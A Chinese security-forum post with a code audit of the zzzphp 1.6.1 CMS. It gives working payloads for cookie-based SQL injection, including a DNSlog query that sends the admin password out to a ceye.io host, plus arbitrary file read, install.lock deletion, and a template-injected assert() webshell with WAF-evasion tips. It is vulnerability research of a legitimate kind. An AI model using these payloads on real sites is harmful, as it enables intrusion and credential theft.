用户
搜索
  • TA的每日心情
    慵懒
    2019-3-11 13:58
  • 签到天数: 141 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    i春秋十五军装逼团团长

    Rank: 7Rank: 7Rank: 7

    34

    主题

    118

    帖子

    1679

    魔法币
    收听
    0
    粉丝
    21
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2019-3-11 14:05:49 1010262

    本文首发博客https://getpass.cn/Zzzphp1.61-code-auditing-from-injecting-to-taking-a-shell/
    欢迎关注安全小窝https://zhuanlan.zhihu.com/wosrc

    0x01 前言

    前天看到zzzphp这一个cms,看着有点像zzzcms,去看了也是zzzcms开发的一套程序,于是就去审计一下,这zzzcms我之前也有审计过
    https://bbs.ichunqiu.com/thread-14684-1-1.html
    https://getpass.cn/zzcms-Any-user-password-changes-loopholes-code-points/
    https://getpass.cn/ZZCMS8.2-any-file-deleted-to-getshell/
    这套程序漏洞确实比较多,后面也做了很多改善。
    那天看了表哥写的一篇PHPCMS的代码审计文章,深有感悟,授人以鱼不如授人以渔,确实是,写那么多审计文章,从审计代码的开始到结束,这种文章少之甚少。我也希望我以后写的文章也带上这种方式。
    这套审计的漏洞比较多,SQL注入漏洞、任意文件删除漏洞、任意文件读取漏洞、远程执行漏洞,当中也借助了漏扫工具。废话不多说,直接开始吧。
    文章也是原来的方式,先复现后分析。

    0x02 SQL注入漏洞( 获取管理员密码)

    漏洞复现

    payload:

    GET /search/ HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Cookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1;zzz_keys=0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z
    Connection: close
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0

    对比两次的时间就晓得我们的语句执行成功了,表示存在SQL注入漏洞。

    漏洞分析

    这个洞是先用AWVS工具扫了一遍出来的,我们审计一套代码的时候可以先试试这些漏扫工具,提高一下效率。虽然有误报但是收集到的信息比手工去检测的效率高。

    大家测试的时候可以用PHPstorm或者vscode这些工具去调试,走一遍整个过程,这样会对程序有所了解。

    再发一次包到search页面会停留到search/index.php文件,这个文件比较简单,包含了一个zzz_client.php的文件。

    <?php
    define('LOCATION', 'search');
    require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

    进到inc/zzz_client.php文件有一些包含的进来的文件类似模板的文件等,这里通过上面的LOCATION找到$tplfile= TPL_DIR . 'search.html';

    switch ($location) {
    case 'about':
       $tplfile= TPL_DIR . G('stpl');
       break; 
    case 'brand':     
       $stpl=splits(db_select('brand','b_template',"bid=".G('bid') or "b_name='".G('bname')."'"),',');
       if (defined('ISWAP')){
         $tplfile=isset($stpl[1]) ? $stpl[1] : $stpl[0];
       }else{
         $tplfile=$stpl[0];   
       }
       $tplfile=empty($tplfile) ? TPL_DIR .'brand.html' : TPL_DIR . $tplfile ;
       break; 
    case 'brandlist':
       $tplfile=isset($stpl) ? TPL_DIR .  $stpl: TPL_DIR . 'brandlist.html'; 
       $GLOBALS['tid']='-1';
       break;
    case 'content':       
       $tplfile= TPL_DIR . G('ctpl');
       break; 
    case 'list':
       $tplfile= TPL_DIR . G('stpl');
       break;
    case 'taglist':
       $tplfile=TPL_DIR . 'taglist.html'; 
       $GLOBALS['tid']='-1';
       break;
    case 'user':
       $tplfile= TPL_DIR . 'user.html'; 
       break;
    case 'search':
       $tplfile= TPL_DIR . 'search.html'; 
       break;

    到下面就实例化,解析模板

    }elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
    $zcontent = load_file($tplfile,$location); 
    $parser = new ParserTemplate();
    $zcontent = $parser->parserCommom($zcontent); // 解析模板
    echo $zcontent;    

    往下走进到inc/zzz_template.php文件,注入的主要是$zcontent = $this->parserlocation( $zcontent ); // 站点标签这一句,继续parserSearch函数跟下去

    case 'search':
       $zcontent = $this->parserSearch( $zcontent );

    走到inc/zzz_template.php的1561行,如果经过getform函数的话会被txt_html过滤掉,但是我们用的cookie,所以这里直接获取没有过滤。

    $keys = safe_key(getform( 'keys', 'post' ),60); 
    if ( $keys ) {
        set_cookie( 'keys', $keys );
    } else {
        $keys = get_cookie( 'keys' );
    }

    我们可以进get_cookie函数看下,prefix前缀是zzz_所以我们的参数为zzz_keys,这里获取到了了数据但也没有过滤直接就返回了

    function get_cookie( $name ) {
       if ( is_null( $name ) ) return '';
       $data = isset( $_COOKIE[ $_SERVER[ 'prefix' ] . $name ] ) ? $_COOKIE[ $_SERVER[ 'prefix' ] . $name ] : NULL;
       return $data;
    }

    下面就是直接执行了我们带有恶意的SQL语句了

    知道有SQL注入漏洞后,可以直接扔进SQLmap或者用DNSlog,下面我提供一个DNSlog的payload:

    0'XOR(if(now()=sysdate(),(select load_file(concat('\\\\',(select password from zzz_user where username='admin'),'.xxxx.ceye.io\\abc'))),0))XOR'Z

    0x03 任意文件读取漏洞 (获取敏感信息)

    漏洞复现

    payload:

    GET /admin155/?module=templateedit&type=/config/zzz_config.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/admin155/?datebackuplist
    Cookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1; zzz_adminpath=0; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_adminname=admin; XDEBUG_SESSION=PHPSTORM
    Connection: close
    Upgrade-Insecure-Requests: 1

    这个漏洞是无需登录后台的,后台的地址可以直接写一个Python脚本来爆破一下就行了,命名规则为admin+三位随机数

    漏洞分析

    这个漏洞是在后台查看模板文件内容的时候找到的,抓一个包然后改变下路径看戏是否能读到其他的目录的文件。

    文件路径admin155/index.php

    前面是获取moduletype参数,看到文件的最后面包含文件这里,走进去看下

    $GLOBALS['r']=isset($data) ? arr_key($data) : '';
    //echop (parse_admin_tlp($module));die;
    include parse_admin_tlp($module);

    作用是把我们刚才传入的模板名称然后生成一个缓存文件

    function parse_admin_tlp( $module ) {
       $tpltype = G( 'ID' ) ? 'edit' : 'add';
       $tplfile = SITE_DIR . conf( 'adminpath' ) . 'template/' . $module . '.tpl';
       $cachefile = RUN_DIR . 'cache/' . conf( 'adminpath' ) . md5( $module . $tpltype ) . '.tpl';
       //echop ($tplfile);echop ($cachefile);
       //echop( template_parse(load_file($tplfile)));
       if ( !is_file( $cachefile ) || time_file( $tplfile ) > time_file( $cachefile ) || size_file( $tplfile ) == 0 ) {
          create_file( $cachefile, template_parse( load_file( $tplfile ) ) );
       }
       return $cachefile;
    }

    后面会走到缓存文件的26行,load_file加载文件,网站的根目录和刚才传入的type也就是我们的路径

    <?php echo load_file($_SERVER['DOCUMENT_ROOT'].G('type'));?>

    inc/zzz_file.phpload_file函数,这里做了一个替换,不过没什么卵用,判断是否是文件就直接读取内容了。

    function load_file( $path, $location = NULL ) {
       $path = str_replace( '//', '/', $path );
       if ( is_file( $path ) ) {
          return file_get_contents( $path );
       } elseif ( !is_null( $location ) ) {
          $locationpath = PLUG_DIR . 'template/' . $location . '.tpl';
          if ( is_file( $locationpath ) ) {
             return file_get_contents( $locationpath );
          } else {
             $url = $_SERVER[ 'REQUEST_URI' ];
             $url = sub_left( $url, '?' );
             phpgo( $url );
             return false;
          }
       } elseif ( is_file( SITE_DIR . $path ) ) {
          return file_get_contents( SITE_DIR . $path );
       } else {
          error( "载入文件失败,请检查文件路径!," . str_replace( DOC_PATH, '', $path ) );
          return false;
       }
    }

    读取网站之外的文件

    为什么没有登录后台也能利用这个漏洞呢?

    先在admin155/index.php里面包含inc/zzz_admin.php文件,但是这个inc/zzz_admin.php文件判断后没有用exit()这类的函数,导致程序继续往下走,又会回到admin155/index.php执行67行的内容,导致出现了可以不用登录后台也能读取任意文件。

    0x04 任意文件删除漏洞

    漏洞复现

    Payload:

    POST /admin155/save.php?act=delfile HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/admin155/?module=uploadlist&type=&folder=product
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 30
    Cookie: PHPSESSID=58ebb86ae371bd1f65466b1b94f7a5f7; zzz_adminpass=1; zzz_adminpath=0; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; zzz_adminname=admin; XDEBUG_SESSION=PHPSTORM
    Connection: close
    
    path=/upload/..//install/install.lock

    漏洞分析

    这个漏洞也是在后台做一些删除操作的时候发现的,开始的时候限制了目录,程序里面做了安全目录的限制,但是还是可以通过一些手段去绕过的。

    根据我们的paylaod可以看到admin155/save.php的文件,delfile()函数,这里从post方式获取到路径,这里做了一个限制的数组$safe_path,通过arr_search函数来寻找是否匹配。如果存在的话就传递给del_file函数。

    function delfile(){
       $file=getform('path','post');     
        $file_path=file_path($file);
        $safe_path=array('upload','template','runtime','backup');
        if(arr_search($file_path,$safe_path)){
            $file=$_SERVER['DOCUMENT_ROOT'].$file; 
            return del_file($file);
        }
    }

    比较数组

    // 比较两个数组,是否有重复,重复则返回true
    function arr_search($arr1, $arr2 ) {
        $result=false;
        foreach ( $arr1 as $v ) {
           if(in_array( $v,$arr2 )) return true;        
        }
        return $result;
    }

    但是这里做了后缀的限制,后缀一定不能是'php', 'db', 'mdb', 'tpl'类型

    function del_file( $file ) {
       if ( is_null( $file ) ) return FALSE;
       $file = is_file( $file ) ? $file : $_SERVER[ 'DOCUMENT_ROOT' ] . $file;
       if ( is_file( $file ) ) {
            if (ifstrin( $file,'runtime')){
                unlink( $file );
            }else{
                $ext = file_ext( $file );
                if ( in_array( $ext, array( 'php', 'db', 'mdb', 'tpl' ) ) ) return FALSE;
                if ( !unlink( $file ) ) {
                    $r = @rename( $file, randname() );
                }
            }
       }
    }

    但是我们能删除install.lock之类的文件,删除这个安装文件就可以重新安装程序,然后远程写入配置文件的方法把我们的恶意语句写进配置文件中去,参考文章https://getpass.cn/MIPCMS%20V3.1.0%20Remotely%20Writing%20the%20Configuration%20File%20Getshell/ ,但是这个程序不行,他的大部分get、post都是经过getform函数的,这个函数里面用了一个txt_html转换来过滤掉我们的字符

    function getform( $name, $source = 'both', $type = NULL, $default = NULL ) {
       switch ( $source ) {
          case 'post':
             $data = _POST( $name );
             break;
          case 'get':
             $data = _GET( $name );
             break;
          case 'both':
             $data = _POST( $name ) ? : _GET( $name );
             break;
       }
       if ( !is_null( $type ) ) {
            if(ifch($default)){
                $err = checkstr( $data, $type, $default );
            }else{
                $err = checkstr( $data, $type, $name );
            }
          if ( $err[ 'code' ] == 0 ){
             if ( $default == 'layer' ) {
                layererr( $err[ 'err' ] );
             } else {
                back( $err[ 'err' ] );
             }
            }  
       }
       if ( !is_null( $default ) && !ifch( $default) ) {
          $data = empty( $data ) ? $default : $data;
       }
       return txt_html( $data );
    }

    txt_html虽然说这个能作为防御,但是也影响了程序模板部分的功能,等会getshell的时候会分析到。

    // txt 转换到 html
    function txt_html( $s ) {    
       if ( !$s ) return $s;
       if ( is_array( $s ) ) { // 数组处理
          foreach ( $s as $key => $value ) {
             $string[ $key ] = txt_html( $value );
          }
       } else {
            if (get_magic_quotes_gpc())  $s = addslashes( $s );        
          $s = trim( $s );
          //array("'"=>"'",'"'=>""",'<'=> "<",'>'=> ">");     
            if ( DB_TYPE == 'access' ) {
             $s= toutf( $s );
             $s = str_replace( "'", "'", $s );
             $s = str_replace( '"', """, $s );
             $s = str_replace( "<", "<", $s );
             $s = str_replace( ">", ">", $s );
          }else{
             $s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' );       
          }            
          $s = str_replace( "\t", '        ', $s );     
          $s = preg_replace('/script/i', 'scr1pt', $s );
          $s = preg_replace('/\.php/i', '.php', $s );
            $s = preg_replace('/ascii/i', 'asc11', $s );
          $s = preg_replace('/eva1/i' , 'eva1', $s );
          $s = str_replace( "┠", "", $s );
          $s = str_replace( "┼", "", $s );
          $s = str_replace( "\r\n", "\n", $s );
          $s = str_replace( "\n", '<br/>', $s );
       }
       return $s;
    }

    0x05 任意代码执行漏洞(Getshell )

    漏洞复现

    这个漏洞有点类似于seacms的那个前台getshell,但是这个是要在后台修改模板文件才可执行。

    1.登录后台,找到模板管理,电脑模板

    1. 随便找一个文件,比如我用brandlist.html,点击编辑,加入我们的payload

      {if:a-ssert($_POST[x])}xxx{end if} //这里为了防止创宇云盾检测到去掉a后面的-就行了。

    1. 保存后打开我们编辑的页面,post的内容x=phpinfo();或者x=s-ystem('whoami')//这里也是把s后面的-去掉就行了

    漏洞分析

    首先我们可以用seay的代码审计工具去搜索关键字执行,这个我先用了phpstorm的搜索功能找到一个eva1的执行函数,然后逆过来看下从哪里可以执行这个函数,看到了在模板文件的替换函数里面

    我们直接定位到if替换的地方inc/zzz_template.php文件的parserCommom函数,可以进parserIfLabel函数一看究竟。

    public
    function parserCommom( $zcontent ) {
       $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
       $zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签
       $zcontent = $this->parserConfigLabel( $zcontent ); //配置表情
       $zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
       $zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签
       $zcontent = $this->parserlocation( $zcontent ); // 站点标签
       $zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签
       $zcontent = $this->parserContentLoop( $zcontent ); // 指定内容
       $zcontent = $this->parserbrandloop( $zcontent );
       $zcontent = $this->parserGbookList( $zcontent );
       $zcontent = $this->parserUser( $zcontent ); //会员信息
       $zcontent = $this->parserLabel( $zcontent ); // 指定内容
       $zcontent = $this->parserPicsLoop( $zcontent ); // 内容多图
       $zcontent = $this->parserad( $zcontent );
       $zcontent = parserPlugLoop( $zcontent );
       $zcontent = $this->parserOtherLabel( $zcontent );
       $zcontent = $this->parserIfLabel( $zcontent ); // IF语句
       $zcontent = $this->parserNoLabel( $zcontent );
       return $zcontent;
    }

    忘了没跟大家说,先是执行inc/zzz_client.php里面的模板解析函数,然后再进入我们刚才开始分析的地方

    parserIfLabel这个函数开始正则匹配,然后把匹配到的语句做替换,最后ifstr的值为a-ssert($_POST[x]最后加入eva1的$ifstr函数执行,程序本身没有在这里做过滤一些危险的函数,导致任意代码执行。

    public
    function parserIfLabel( $zcontent ) {
       $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
       if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
          $count = count( $matches[ 0 ] );
          for ( $i = 0; $i < $count; $i++ ) {
             $flag = '';
             $out_html = '';
             $ifstr = $matches[ 1 ][ $i ];
             $ifstr = str_replace( '<>', '!=', $ifstr );
             $ifstr = str_replace( 'mod', '%', $ifstr );
             $ifstr1 = cleft( $ifstr, 0, 1 );
             switch ( $ifstr1 ) {
                case '=':
                   $ifstr = '0' . $ifstr;
                   break;
                case '{':
                case '[':
                   $ifstr = "'" . str_replace( "=", "'=", $ifstr );
                   break;
             }
             $ifstr = str_replace( '=', '==', $ifstr );
             $ifstr = str_replace( '===', '==', $ifstr );
             @eva1( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );

    上面任意文件删除漏洞说到的影响了模板文件的功能,原因是在txt_html函数里面,因为开始编辑保存的时候它会把整个模板文件的内容传到上面的getform的函数,然后返回数据的时候用了下面的txt_html函数,一般模板文件里面会有一些类似script的字符但是这里过滤了$s = preg_replace('/script/i', 'scr1pt', $s );所以导致影响了这个编辑模板的功能,这样就很矛盾了。

    // txt 转换到 html
    function txt_html( $s ) {    
       if ( !$s ) return $s;
       if ( is_array( $s ) ) { // 数组处理
          foreach ( $s as $key => $value ) {
             $string[ $key ] = txt_html( $value );
          }
       } else {
            if (get_magic_quotes_gpc())  $s = addslashes( $s );        
          $s = trim( $s );
          //array("'"=>"'",'"'=>""",'<'=> "<",'>'=> ">");     
            if ( DB_TYPE == 'access' ) {
             $s= toutf( $s );
             $s = str_replace( "'", "'", $s );
             $s = str_replace( '"', """, $s );
             $s = str_replace( "<", "<", $s );
             $s = str_replace( ">", ">", $s );
          }else{
             $s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' );       
          }            
          $s = str_replace( "\t", '        ', $s );     
          $s = preg_replace('/script/i', 'scr1pt', $s );
          $s = preg_replace('/\.php/i', '.php', $s );
           $s = preg_replace('/ascii/i', 'asc11', $s );
          $s = preg_replace('/eva1/i' , 'eva1', $s );
          $s = str_replace( "┠", "", $s );
          $s = str_replace( "┼", "", $s );
          $s = str_replace( "\r\n", "\n", $s );
          $s = str_replace( "\n", '<br/>', $s );
       }
       return $s;
    }

    0x06 结尾

    最近总是拖延,本来这篇文章在上周就可以发布了。

    因为什么?理由总是比做的多。

    这套程序好像也可以申请cve,这种cve不要也罢,类似dedecms、phpcms、thinkPHP、dz这种才有意思。

    最近又从coding转到GitHub了,conding自从转移到腾讯之后一直都很炸。

    0x07 参考

    https://nvd.nist.gov/vuln/detail/CVE-2019-9041

    评分

    参与人数 1积分 +50 魔法币 +10 收起 理由
    zzconfig + 50 + 10 感谢您的宝贵挖掘

    查看全部评分

    本帖被以下淘专辑推荐:

    getpass.cn
    感谢分享
    使用道具 举报 回复
    发表于 2019-3-11 19:48:22
    感谢分享,很精彩的一篇代码审计文章
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2019-3-12 10:22:49
    表哥挖洞辛苦了
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫流光 这个网络他曾来过。
    使用道具 举报 回复
    发表于 2019-3-13 08:58:50
    感谢分享
    使用道具 举报 回复
    问一个问题    我搭建了1.6.1。但是后台验证码根本不显示,搞的进不去后台。表哥遇到过这个情况吗
    使用道具 举报 回复
    6666666666666666666666
    使用道具 举报 回复
    66666666666666666666666
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    8#
    发表于 2019-5-9 21:01:43
    icqaf8a7600 发表于 2019-5-6 08:54
    问一个问题    我搭建了1.6.1。但是后台验证码根本不显示,搞的进不去后台。表哥遇到过这个情况吗 ...

    没试过,是不是环境有错漏?
    getpass.cn
    使用道具 举报 回复
    很喜欢老哥 发这种一步一步分析的文章 感谢老哥分享了
    使用道具 举报 回复
    感谢分享,一般公开的武器都不是当前最先进的
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册